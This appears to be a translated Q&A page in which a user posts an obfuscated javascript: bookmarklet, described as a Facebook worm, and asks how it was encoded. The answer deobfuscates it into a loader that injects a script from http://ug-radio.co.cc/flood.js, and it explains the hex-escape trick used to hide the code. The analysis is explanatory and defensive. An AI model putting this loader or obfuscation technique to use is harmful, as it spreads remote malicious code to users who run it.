如何编码这个脚本

How to encode this script?

本文关键字:脚本 编码 何编码      更新时间:2023-09-26

我最近发现了这个脚本,这基本上是一个facebook "蠕虫",所以不要运行它。我只想知道创作者是如何编码的。任何帮助吗?

javascript:var _0x8dd5=["'x73'x72'x63","'x73'x63'x72'x69'x70'x74","'x63'x7 2'x65'x61'x74'x65'x45'x6C'x65'x6D'x65'x6E'x74","'x 68'x74'x74'x70'x3A'x2F'x2F'x75'x67'x2D'x72'x61'x64 'x69'x6F'x2E'x63'x6F'x2E'x63'x63'x2F'x66'x6C'x6F'x 6F'x64'x2E'x6A'x73","'x61'x70'x70'x65'x6E'x64'x43' x68'x69'x6C'x64","'x62'x6F'x64'x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);

作者使用了各种"混淆"方法,即各种技术使代码在视觉上令人困惑,难以理解。

_0x8dd5是字符串数组:

['src', 'script', 'createElement',
    'http://ug-radio.co.cc/flood.js', 'appendChild', 'body']

代码的其余部分使用上述字符串中的属性名,因此未混淆的代码实际上是

a = document.createElement('script');
a.src = 'http://ug-radio.co.cc/flood.js';
document.body.appendChild(a);

因此,作者为了混淆代码所做的就是将所有属性名引用为数组中的字符串。包含字符串的数组只是使用'xNN十六进制转义符号,使得这些字符串不那么明显。

作者通过查找当前编码中形成字符串的字节的十六进制值来实现这一点。然后,对于字符串中的每个字节,他添加'xNN,其中NN是十六进制字节值。当JavaScript解释器运行脚本时,解析器会自动用它们各自的字符替换这些转义。